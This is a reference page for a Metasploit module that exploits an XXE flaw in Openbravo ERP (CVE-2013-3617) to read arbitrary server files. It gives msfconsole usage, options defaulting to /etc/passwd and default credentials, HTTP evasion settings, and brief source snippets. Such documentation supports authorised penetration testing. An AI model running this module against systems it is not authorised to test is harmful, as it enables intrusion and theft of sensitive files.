Openbravo ERP XXE Arbitrary File Read - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/openbravo_xxe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Openbravo ERP XXE Arbitrary File Read
Module: auxiliary/admin/http/openbravo_xxe
Source code: modules/auxiliary/admin/http/openbravo_xxe.rb
Disclosure date: 2013-10-30
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-3617
The Openbravo ERP XML API expands external entities which can be defined as local files. This allows the user to read any files from the FS as the user Openbravo is running as (generally not root). This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/openbravo_xxe
msf auxiliary(openbravo_xxe) > show targets
... a list of targets ...
msf auxiliary(openbravo_xxe) > set TARGET target-id
msf auxiliary(openbravo_xxe) > show options
... show and set options ...
msf auxiliary(openbravo_xxe) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the admin/http/openbravo_xxe auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/openbravo_xxe
msf6 auxiliary(admin/http/openbravo_xxe) > show info
Name: Openbravo ERP XXE Arbitrary File Read
Module: auxiliary/admin/http/openbravo_xxe
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-10-30
Provided by:
Brandon Perry <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ENDPOINT ADUser yes The XML API REST endpoint to use
FILEPATH /etc/passwd yes The filepath to read on the server
HttpPassword openbravo yes The Openbravo password
HttpUsername Openbravo yes The Openbravo user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /openbravo/ yes Base Openbravo directory path
VHOST no HTTP server virtual host
Description:
The Openbravo ERP XML API expands external entities which can be
defined as local files. This allows the user to read any files from
the FS as the user Openbravo is running as (generally not root).
This module was tested against Openbravo ERP version 3.0MP25 and
2.50MP6.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-3617
OSVDB (99141)
http://www.securityfocus.com/bid/63431
https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats
Module Options
This is a complete list of options available in the admin/http/openbravo_xxe auxiliary module:
msf6 auxiliary(admin/http/openbravo_xxe) > show options
Module options (auxiliary/admin/http/openbravo_xxe):
Name Current Setting Required Description
---- --------------- -------- -----------
ENDPOINT ADUser yes The XML API REST endpoint to use
FILEPATH /etc/passwd yes The filepath to read on the server
HttpPassword openbravo yes The Openbravo password
HttpUsername Openbravo yes The Openbravo user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /openbravo/ yes Base Openbravo directory path
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/openbravo_xxe auxiliary module:
msf6 auxiliary(admin/http/openbravo_xxe) > show advanced
Module advanced options (auxiliary/admin/http/openbravo_xxe):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/openbravo_xxe module can do:
msf6 auxiliary(admin/http/openbravo_xxe) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/openbravo_xxe auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/openbravo_xxe) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Invalid response. Check your credentials and that the server is correct.
Here is a relevant code snippet related to the "Invalid response. Check your credentials and that the server is correct." error message:
52: 'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}"),
53: 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
54: }, 60)
55:
56: if !users or users.code != 200
57: fail_with(Failure::NoAccess, "Invalid response. Check your credentials and that the server is correct.")
58: end
59:
60: xml = path = id = other_id = '' #for later use
61: doc = REXML::Document.new users.body
62:
Problem updating <VALUE> <OTHER_ID> with ID: <ID>
Here is a relevant code snippet related to the "Problem updating <VALUE> <OTHER_ID> with ID: <ID>" error message:
85: 'data' => xml,
86: 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
87: })
88:
89: if !resp or resp.code != 200 or resp.body =~ /Not updating entity/
90: print_error("Problem updating #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}")
91: next
92: end
93:
94: print_status("Found writable #{datastore["ENDPOINT"]}: #{other_id}")
95:
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12949 Merged Pull Request: This fixes broken links to the community.rapid7.com blog
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6921 Merged Pull Request: Fix #4885, Support basic and form auth at the same time
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5173 Merged Pull Request: fix fail_with errors
- #2604 Merged Pull Request: Minor fixup for release
- #2593 Merged Pull Request: Update refs for @brandonprry's modules
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/sap/sap_igs_xmlchart_xxe
- auxiliary/gather/drupal_openid_xxe
- auxiliary/gather/emc_cta_xxe
- auxiliary/gather/mcafee_epo_xxe
- auxiliary/gather/opennms_xxe
- auxiliary/admin/http/nexpose_xxe_file_read
- exploit/linux/http/zimbra_xxe_rce
Authors
- Brandon Perry <bperry.volatile[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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